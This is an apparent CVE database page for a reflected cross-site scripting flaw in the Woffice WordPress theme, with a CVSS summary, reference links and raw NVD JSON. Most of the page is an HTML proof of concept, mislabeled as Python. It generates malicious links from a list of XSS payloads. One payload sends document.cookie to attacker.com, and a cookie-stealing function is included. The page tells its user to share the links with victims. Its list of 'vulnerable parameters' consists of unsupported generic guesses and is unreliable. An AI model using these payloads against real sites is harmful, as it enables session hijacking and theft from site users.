CVE-2025-67918

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WofficeIO Woffice woffice allows Reflected XSS.This issue affects Woffice: from n/a through <= 5.4.30.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Woffice WordPress主题 <= 5.4.30

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-67918 Woffice Reflected XSS PoC -->
<!-- Target: WordPress Woffice Theme <= 5.4.30 -->
<!-- Attack Type: Reflected Cross-Site Scripting -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-67918 PoC</title>
</head>
<body>
    <h2>CVE-2025-67918 - Woffice Theme Reflected XSS</h2>
    <p>Target: Woffice WordPress Theme <= 5.4.30</p>
    
    <script>
        // Generate malicious URL with XSS payload
        function generateXSSURL() {
            const targetBase = document.getElementById('targetUrl').value;
            const payloads = [
                '<script>alert("XSS Vulnerability - CVE-2025-67918")</script>',
                '<img src=x onerror="alert(document.cookie)">',
                '<svg onload="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">',
                '<iframe src="javascript:alert(\'XSS\')">'
            ];
            
            // Common Woffice vulnerable parameters
            const vulnerableParams = ['search', 's', 'query', 'redirect_to', 'return', 'url'];
            const param = vulnerableParams[0];
            const payload = encodeURIComponent(payloads[0]);
            
            const maliciousURL = `${targetBase}?${param}=${payload}`;
            document.getElementById('maliciousLink').href = maliciousURL;
            document.getElementById('maliciousLink').textContent = maliciousURL;
            document.getElementById('pocUrl').value = maliciousURL;
        }
        
        // Cookie stealing payload
        function stealCookie() {
            const stolenCookie = document.cookie;
            console.log('Stolen Cookie:', stolenCookie);
            // In real attack: fetch('https://attacker.com/collect?cookie=' + stolenCookie)
            alert('Cookie would be stolen: ' + stolenCookie);
        }
    </script>
    
    <div>
        <label>Target Site URL: </label>
        <input type="text" id="targetUrl" value="https://example.com" size="50">
        <button onclick="generateXSSURL()">Generate Malicious URL</button>
    </div>
    
    <div>
        <p>Malicious URL:</p>
        <a id="maliciousLink" href="#">Generate URL first</a>
    </div>
    
    <div>
        <p>Copy and share the above URL to victims</p>
        <input type="text" id="pocUrl" size="60">
    </div>
    
    <hr>
    <h3>Attack Scenarios:</h3>
    <ol>
        <li><strong>Session Hijacking:</strong> Steal session cookies to impersonate users</li>
        <li><strong>Credential Theft:</strong> Create fake login forms to capture credentials</li>
        <li><strong>Malware Distribution:</strong> Redirect users to malicious sites</li>
        <li><strong>Defacement:</strong> Modify page content to display fake information</li>
    </ol>
    
    <h3>Detection Methods:</h3>
    <ul>
        <li>Monitor HTTP requests for suspicious URL patterns</li>
        <li>Implement WAF rules to block XSS payloads</li>
        <li>Use Content Security Policy (CSP) headers</li>
        <li>Enable X-XSS-Protection header</li>
    </ul>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67918
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67918
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67918/
[4] VulDB https://vuldb.com/cve/CVE-2025-67918
[5] https://patchstack.com/database/Wordpress/Theme/woffice/vulnerability/wordpress-woffice-theme-5-4-30-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67918", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:50.720", "lastModified": "2026-04-27T18:16:48.837", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WofficeIO Woffice woffice allows Reflected XSS.This issue affects Woffice: from n/a through <= 5.4.30."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/woffice/vulnerability/wordpress-woffice-theme-5-4-30-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}